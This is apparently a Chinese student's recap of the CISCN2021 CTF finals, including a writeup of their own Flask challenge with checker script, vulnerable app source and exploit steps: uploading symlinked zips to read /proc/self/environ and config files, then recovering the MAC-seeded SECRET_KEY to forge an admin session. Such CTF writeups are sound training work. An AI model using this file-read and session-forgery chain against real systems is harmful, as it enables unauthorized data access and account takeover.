CISCN2021决赛总结

算是队伍主力师兄全部毕业,加上18级队员相对断层情况之后的第一场线下赛,同时也是我参加的第一场awd赛制的比赛,在经验还是远远不足的,也导致这次awd阶段失分严重,尤其是web2的题目完全是一个失守的阶段,被各位师傅们留下了一堆后面,同时还不知道怎么彻底删除,经验还是远远不足,所以写下本文来总结在这次线下赛中队伍所暴露的问题,以及在未来的比赛中可以做的更好的地方。

awd阶段

开局阶段

开局的最基本的操作,下面是我们队伍做出的操作

  • dump下源码
  • 改数据库密码
  • dump数据库
  • 尝试上weblogger
  • 将源码用D盾扫一遍先

攻击阶段

这次比赛由于没有经验,许多操作实在太过不熟练,几乎没有多少时间哪来阅读源码,尤其因为web1和web2题完全失守的情况,大多时候都在焦头烂额的想办法在过check的前提下进行防守,好几次因为防守姿势不恰当而没通过check导致扣分,废了,于是,在进攻方面比赛就变成了根据流量抄答案,然后写脚本进行自动化。

不过这次比赛犯了一个很大的错误,一开始因为抄作业抄的比较快的愿意(哈哈哈哈哈哈硬是打成了铁三,进攻全程看流量),排名还是比较靠前的,但是由于没有第一时间选择自动化脚本而导致前面宝贵的几轮没能够打完全部没有进行修复的靶机,同时还有就是太过执着于web1,导致web2流量出来好几轮之后才去看,导致了队伍少了一个题的攻击得分,这些都是非常致命的错误,归根到底感觉还是在比赛的时候思路不够清晰,动作太慢了。

防守阶段

防守阶段对于不死马则是选择kill进程,和想办法写个不断删后门的脚本进行条件竞争,但是由于自身太菜代码能力低下,条件竞争的脚本到web1下了都还没写出来,太菜了,废了,还得加强一下很久没有提升的代码能力了。web3则主要的应对手段是把用于读flag的图片直接删了,但是这里我犯了一个致命的错误,我只是把我最先看到打我们容器的大佬那个路径下面的四个图片删了,完全没有对所有可以利用的其他路径下的图片进行检查,导致可能有超过十轮以上的时候,我们那题都是失守状况,在比赛离结束还2小时的时候才发现自己这个致命的错误,导致多了很多不该的失分,同时也没能及时通过这个容易遗漏的点多打几个也没注意的这个问题的师傅的靶机几轮,亏死了,哭了。

build阶段

题目的选取

选取了flask框架下的session伪造,也算是常见考点了,比较

考点的设计

1、敏感信息泄露 2、Flask Session机制 3、伪随机数

哈哈哈哈哈没想到最后题目居然被选上了,然后被20多个师傅打穿了,也看到有师傅在那吐槽python版本的问题了,哈哈哈哈哈确实是因为随机数的愿意所以必须得用python3,这里确实有点小坑。

check脚本

check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
# coding=utf-8
import requests
import random
import re
import os
import base64
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import sys

ip=sys.argv[1]
port=sys.argv[2]
url = "http://"+ip+":"+str(port)+"/"

def read_file(file_name):
    link(file_name)
    files = {'the_file': open(file_name[-5:] + '.zip', 'rb')}
    r2 = s.post(url+'upload', files=files)
    return r2.text

def link(file_name):
    os.system('ln -s {file_name} {output}'.format(file_name = file_name, output = file_name[-5:]))
    os.system('zip -y -m {output}.zip {output}'.format(file_name = file_name, output = file_name[-5:]))

with requests.Session() as s:
    content=s.get(url).text
    if content.find("I will tell you a secret, but you should become admin first.")==-1:
        print('(0, error1)')
        exit(0)
    with open("tmp","w") as f:
        f.write("gjklawegklwjgklajgwl")
    os.system('zip -y -m {output}.zip {output}'.format(file_name = "tmp", output = "tmp"))
    tmp=s.post(url+'upload', files = {'the_file': open("tmp.zip", 'rb')}).text
    print(tmp)
    if tmp!= "gjklawegklwjgklajgwl":
        print('(0, error2)')
        exit(0)
    try:
        en = read_file('/proc/self/environ')
        #t=re.search('gwekgwegwg=(.*?)\x00', en).group(1)
        #print(t)
        ini = re.search('UWSGI_INI=(.*?)\x00', en).group(1)
        pwd = re.search('PWD=(.*?)\x00', en).group(1)
        ini = read_file(ini)
        source = re.search('module = .*?\.(.*?)\n', ini).group(1)
    except:
        print('(1, Vulns)')
        exit(0)
    print('(0, error3)')

WP

第一步

进入题目发现一个上传点和提示“I will tell you a secret, but you should become admin first.”,根据提示可以猜想到得先想办法以admin身份登录,查看cookie可以看到session,值为疑似base64的一串字符串,decode之后为类似{“username”:“2333”}的信息,可以猜到使用的是securecookie机制,如果能够得到签名的key和签名方法等相关信息就能想办法伪造session,没猜到也没关系,接下来的思路是一样的,就是想办法先拿到源码。

第二步

测试上传点,发现只能上传zip文件,并返回zip解压后的文件内容。尝试压缩软链接上传,发现会回显对应的文件内容,这样就实现了一个任意文件下载,通过这个可以开始想办法找到源码的路径,并且应该也已经找到了做题思路, 我们要用到上传zipfile读取到SECRET_KEY,然后伪造admin的session进行登录。

第三步

接下来主要目标是获取源码

如果对linux比较了解应该会知道 /proc目录 ,然后通过 /proc/self/environ的软链接 来获得flask的环境变量,环境变量中可以找到配置文件路径和一些信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=5a000ec609dc
PYTHON_PIP_VERSION=20.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/y0u_found_it.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyUWSGI_CHEAPER=2PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.10
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/y0u_found_it
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

扫一眼过去,能够发现一项UWSGI_INI,以INI结尾,应该是个配置文件 ,而且从命名来看

”y0u_found_it.ini“已经在提示这个ini文件有问题,那么接下来 构造软链接,生成zip,上传读取。 得到/app/ y0u_found_it.ini内容

1
2
3
[uwsgi]
module = y0u_found_it.y0u_found_it_main
callable=app

这样就找到了源代码路径/app/y0u_found_it/y0u_found_it_main.py

接下来获取源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import secret
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    

    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if not 'username' in session:
        session['username'] = "guest"
    
    if 'username' in session:
        return render_template('index.html', user=session['username'], secret=secret.secret)
    else:
        
        return render_template('index.html')


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('ZmxhZw==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)

if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=False, port=10008)

第五步

查看代码发现secret=secret.secret,可以知道flag应该是在secret.py文件里,如果软链接直接读取 ,发现还是提示you are not admin ,所以还是得按照前面的分析 通过找SECRET_KEY 来解决,因为 python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的。

查看代码可知通过uuid.getnode()函数 获取网卡mac地址并转换成十进制数返回 ,那么思路就变成了先获取服务器的网卡mac地址来确定种子,进而确定SECRET_KEY,从而伪造session

因为linux中一切都是文件,所以可以通过读/sys/class/net/eth0/address文件得到mac地址

然后 把mac地址处理下,转换成10进制,然后设置成seed,生成 SECRET_KEY,下面是脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import uuid
import random

mac = "mac"
sss = mac.split(':')
sss = [int(i,16) for i in sss]
sss = [bin(i).replace('0b','').zfill(8) for i in sss]
sss = ''.join(sss)
mac = int(sss,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)

第六步

接下来就是通过key获取admin的session,可以通过flask-session-cookie-manager脚本也可以

自己搭个简单的flask环境来获得session值,然后可以通过bp改包等等方式修改session值得到flag

镜像的打包

没啥好说的,save一下,这次犯了个错误是一开始打包成tar,而官方要求是tar.gz导致队友导入的时候没导入进去

break&fix阶段

break阶段

0解,太菜了,等官方wp之后再看看复现更新补充一下

fix阶段

fix阶段暴露自己一个比较大的短板,就是对javaweb完全不了解,也就导致,对于java的那道题完全无从下手,最后只能对比较熟悉的两道pythonflask题入手,对于web1增加了黑名单内容,几乎把所有可以利用的函数特殊字符都ban了,最后也是这道题过了check。